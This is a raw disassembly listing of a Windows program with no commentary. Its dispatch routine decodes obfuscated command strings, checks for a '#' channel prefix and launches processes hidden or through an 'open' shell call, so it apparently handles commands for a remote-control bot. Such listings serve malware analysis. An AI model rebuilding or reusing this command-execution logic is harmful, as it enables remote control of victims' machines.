sub_403CC0 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43F004
retn
sub_403CC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CE0 proc near ; CODE XREF: sub_40222Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D60 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403DE0 proc near ; CODE XREF: sub_401753j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403DE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403DE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E50 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40222A
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403F30 proc near ; CODE XREF: sub_40208Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403F30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AE6
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403F30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_404010 proc near ; CODE XREF: sub_401D48j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_404010
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017EE
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_404010 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017EE
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017EE
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017EE
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017EE
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017EE
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017EE
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017EE
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017EE
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017EE
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017EE
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017EE
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017EE
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017EE
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h
dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch
dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C745E890h
dd 0C88B023Eh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh
dd 0
; ---------------------------------------------------------------------------
add esp, 54h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404690 proc near ; CODE XREF: sub_401A41j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404690
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_401479
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_4046D2
push ebx
jmp short loc_4046D6
; ---------------------------------------------------------------------------
loc_4046D2: ; CODE XREF: sub_404690+3Dj
lea eax, [esi+15h]
push eax
loc_4046D6: ; CODE XREF: sub_404690+40j
mov ecx, edi
call sub_401FDC
mov al, [esi+94h]
test al, al
jz short loc_4046F2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FDC
loc_4046F2: ; CODE XREF: sub_404690+55j
mov al, [esi+95h]
test al, al
jz short loc_40476F
lea ecx, [esp+98h+var_6C]
call sub_40142E
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013ED
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FDC
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40476F: ; CODE XREF: sub_404690+6Aj
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E47
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_401479
push 0
mov ecx, esi
mov ebp, eax
call sub_401479
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_404A3A
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019C4
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40485F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jz short loc_40485F
mov bl, 1
jmp short loc_404861
; ---------------------------------------------------------------------------
loc_40485F: ; CODE XREF: sub_404690+1A6j
; sub_404690+1C9j
xor bl, bl
loc_404861: ; CODE XREF: sub_404690+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_404A1E
push offset asc_444600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_404A3A
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_404A3A
push 20h
mov ecx, esi
call sub_401D34
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E47
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D34
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40202C
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FDC
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016B8
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E47
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049F7
test ebp, ebp
jle short loc_404A08
loc_4049E8: ; CODE XREF: sub_404690+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F87
dec ebp
jnz short loc_4049E8
jmp short loc_404A08
; ---------------------------------------------------------------------------
loc_4049F7: ; CODE XREF: sub_404690+352j
test ebp, ebp
jle short loc_404A08
loc_4049FB: ; CODE XREF: sub_404690+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_40144C
dec ebp
jnz short loc_4049FB
loc_404A08: ; CODE XREF: sub_404690+356j
; sub_404690+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A1E: ; CODE XREF: sub_404690+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_404A35
call sub_401F87
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A35: ; CODE XREF: sub_404690+39Cj
call sub_40144C
loc_404A3A: ; CODE XREF: sub_404690+162j
; sub_404690+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B60 proc near ; CODE XREF: sub_401F87j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_44AC62
call sub_4014DD
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404BA6
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jnz short loc_404BA6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BA6: ; CODE XREF: sub_404B60+1Dj
; sub_404B60+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jnz short loc_404BE6
mov al, [edi+469h]
test al, al
jz short loc_404BE6
push 0
lea ecx, [esi+2Ah]
call sub_401479
cmp byte ptr [eax], 23h
jz short loc_404BE6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_404B60+64j
; sub_404B60+6Ej ...
push esi
mov ecx, edi
call sub_40144C
pop edi
pop esi
retn 4
sub_404B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C30 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, offset dword_449118
call sub_401B04
test eax, eax
jz short loc_404C5A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C5A: ; CODE XREF: sub_404C30+1Cj
xor al, al
pop esi
retn 4
sub_404C30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_40186Bj
push esi
push edi
mov edi, dword_5118AC
mov esi, ecx
call edi
mov edx, dword_4D8099
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C9F
mov ecx, offset byte_4D8075
call sub_401D20
call edi
mov dword_4D8099, eax
loc_404C9F: ; CODE XREF: sub_404C70+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404CC0 proc near ; CODE XREF: sub_4017D0j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404CC0
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404D34
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [edi+2E3h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404D34: ; CODE XREF: sub_404CC0+40j
lea ecx, [edi+0D6Bh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404EC5
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C71
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 2810000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FDC
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014DD
push eax
push 0
call near ptr 2800565h
nop
test eax, eax
jnz short loc_404E99
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404E99: ; CODE XREF: sub_404CC0+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404EC5: ; CODE XREF: sub_404CC0+89j
lea ecx, [edi+0B71h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F74
push 1
push offset asc_444600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E8E45
mov [esp+178h+var_4], 3
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F60
mov al, byte_449896
test al, al
jz short loc_404F30
push offset dword_449834
mov ecx, offset dword_44AD70
call sub_401451
loc_404F30: ; CODE XREF: sub_404CC0+25Fj
mov al, byte_4498DF
test al, al
jz short loc_404F48
push offset byte_44990F
mov ecx, offset dword_44AD70
call sub_401951
loc_404F48: ; CODE XREF: sub_404CC0+277j
mov ecx, offset dword_44AD70
call sub_401E79
mov byte_4D808C, 0
mov byte_4E8E44, 0
loc_404F60: ; CODE XREF: sub_404CC0+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404F74: ; CODE XREF: sub_404CC0+21Aj
lea ecx, [edi+0C57h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404FBC
lea ecx, [esi+69h]
call sub_4014DD
push eax
mov ecx, offset word_4E8E5A
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404FBC: ; CODE XREF: sub_404CC0+2C9j
lea ecx, [edi+0DC7h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405076
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019C4
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1D4h+var_164]
push 9
push ecx
mov [esp+1DCh+var_4], 4
call sub_4019C4
add esp, 64h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405076: ; CODE XREF: sub_404CC0+311j
lea ecx, [edi+0D0Fh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405194
lea ecx, [esp+178h+var_14C]
call sub_40142E
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A9B
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017EE
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_402112
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40202C
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
